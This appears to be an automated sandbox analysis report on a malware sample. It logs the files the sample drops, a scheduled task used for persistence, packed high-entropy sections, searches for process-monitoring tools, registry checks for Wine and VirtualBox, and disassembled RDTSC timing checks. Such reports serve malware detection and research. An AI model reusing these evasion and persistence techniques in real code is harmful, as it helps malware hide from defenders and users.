Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: DocumentsGCBFBGCGIJ.exe.0.dr	Static PE information: section name:
Source: DocumentsGCBFBGCGIJ.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsGCBFBGCGIJ.exe.0.dr	Static PE information: section name:
Source: DocumentsGCBFBGCGIJ.exe.0.dr	Static PE information: section name: hwqxmwlo
Source: DocumentsGCBFBGCGIJ.exe.0.dr	Static PE information: section name: mfzfwoib
Source: DocumentsGCBFBGCGIJ.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: hwqxmwlo
Source: random[1].exe.0.dr	Static PE information: section name: mfzfwoib
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: skotes.exe.21.dr	Static PE information: section name:
Source: skotes.exe.21.dr	Static PE information: section name: .idata
Source: skotes.exe.21.dr	Static PE information: section name:
Source: skotes.exe.21.dr	Static PE information: section name: hwqxmwlo
Source: skotes.exe.21.dr	Static PE information: section name: mfzfwoib
Source: skotes.exe.21.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 28_2_00A9D91C push ecx; ret

28_2_00A9D92F

Source: file.exe	Static PE information: section name: lgjpmlrc entropy: 7.95444458255911
Source: DocumentsGCBFBGCGIJ.exe.0.dr	Static PE information: section name: entropy: 7.979160367014145
Source: DocumentsGCBFBGCGIJ.exe.0.dr	Static PE information: section name: hwqxmwlo entropy: 7.953423519074596
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.979160367014145
Source: random[1].exe.0.dr	Static PE information: section name: hwqxmwlo entropy: 7.953423519074596
Source: skotes.exe.21.dr	Static PE information: section name: entropy: 7.979160367014145
Source: skotes.exe.21.dr	Static PE information: section name: hwqxmwlo entropy: 7.953423519074596

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsGCBFBGCGIJ.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsGCBFBGCGIJ.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsGCBFBGCGIJ.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8F9E7 second address: F8F9FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007F1D54DCB05Eh 0x0000000b jnl 00007F1D54DCB056h 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 push edi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8F9FD second address: F8FA37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1D548AAC06h 0x00000009 pop edi 0x0000000a jmp 00007F1D548AAC04h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jl 00007F1D548AABFCh 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8FA37 second address: F8FA3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8FA3F second address: F8FA49 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F1D548AABF6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8FA49 second address: F8FA4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8FA4F second address: F8FA59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F1D548AABF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8EE48 second address: F8EE4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8EE4C second address: F8EE52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8EE52 second address: F8EE57 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8EE57 second address: F8EE5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8EF95 second address: F8EFB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1D54DCB065h 0x00000009 popad 0x0000000a jc 00007F1D54DCB058h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8EFB7 second address: F8EFBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8EFBD second address: F8EFC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F1D54DCB056h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8EFC7 second address: F8EFCD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8F283 second address: F8F290 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 pushad 0x00000009 popad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8F290 second address: F8F295 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8F295 second address: F8F29B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F926FD second address: F92701 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F928AC second address: F928EE instructions: 0x00000000 rdtsc 0x00000002 jng 00007F1D54DCB058h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f xor ecx, dword ptr [ebp+122D2BAEh] 0x00000015 push 00000000h 0x00000017 pushad 0x00000018 mov cx, 96A1h 0x0000001c adc dh, 00000037h 0x0000001f popad 0x00000020 mov edx, dword ptr [ebp+122D2916h] 0x00000026 call 00007F1D54DCB059h 0x0000002b push esi 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007F1D54DCB060h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F928EE second address: F92910 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 jnp 00007F1D548AAC00h 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F92910 second address: F92914 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F92914 second address: F9291A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9291A second address: F9293F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1D54DCB065h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push edx 0x0000000d jnl 00007F1D54DCB05Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9293F second address: F92943 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F92943 second address: F92959 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jnl 00007F1D54DCB056h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F92959 second address: F92963 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F1D548AABF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F92963 second address: F92978 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1D54DCB061h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F92978 second address: F9297C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9297C second address: F929D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 push 00000003h 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007F1D54DCB058h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 0000001Ch 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 push 00000000h 0x00000027 add edx, dword ptr [ebp+122D2AA2h] 0x0000002d push 00000003h 0x0000002f push BD93F4B5h 0x00000034 jnp 00007F1D54DCB077h 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007F1D54DCB065h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F929D7 second address: F92A1D instructions: 0x00000000 rdtsc 0x00000002 jns 00007F1D548AABF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a add dword ptr [esp], 026C0B4Bh 0x00000011 xor cx, 93C7h 0x00000016 lea ebx, dword ptr [ebp+1245663Eh] 0x0000001c or edx, dword ptr [ebp+122D1C00h] 0x00000022 xchg eax, ebx 0x00000023 jmp 00007F1D548AABFCh 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007F1D548AAC02h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F92A1D second address: F92A2C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1D54DCB05Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB3A2E second address: FB3A33 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7290D second address: F72912 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F72912 second address: F72929 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop ebx 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jl 00007F1D548AAC10h 0x00000012 pushad 0x00000013 push esi 0x00000014 pop esi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F72929 second address: F72938 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jc 00007F1D54DCB05Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB19E5 second address: FB19F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 js 00007F1D548AABFEh 0x0000000b push eax 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB1E5B second address: FB1E7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1D54DCB069h 0x00000009 pop edi 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB27CB second address: FB27D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB2971 second address: FB2977 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB2977 second address: FB2980 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB2980 second address: FB2984 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB2C51 second address: FB2C65 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F1D548AABFEh 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB2C65 second address: FB2C69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB3371 second address: FB3386 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F1D548AABF6h 0x0000000a popad 0x0000000b push ebx 0x0000000c jp 00007F1D548AABF6h 0x00000012 pushad 0x00000013 popad 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB3882 second address: FB38A2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1D54DCB05Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F1D54DCB05Eh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB65D6 second address: FB65F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 jmp 00007F1D548AAC04h 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB65F4 second address: FB65FE instructions: 0x00000000 rdtsc 0x00000002 jl 00007F1D54DCB05Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB5525 second address: FB552F instructions: 0x00000000 rdtsc 0x00000002 jng 00007F1D548AABF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB552F second address: FB5543 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1D54DCB060h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB5543 second address: FB5554 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push ecx 0x0000000b push edx 0x0000000c pop edx 0x0000000d pop ecx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB5554 second address: FB555A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBF76D second address: FBF796 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1D548AAC06h 0x00000007 jp 00007F1D548AABF6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jno 00007F1D548AABF6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBF796 second address: FBF7A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBF8D5 second address: FBF8E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jnl 00007F1D548AABF6h 0x0000000b jo 00007F1D548AABF6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBFB8E second address: FBFBAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1D54DCB066h 0x00000009 jnp 00007F1D54DCB056h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBFE53 second address: FBFE57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBFE57 second address: FBFE5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC3750 second address: FC3755 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
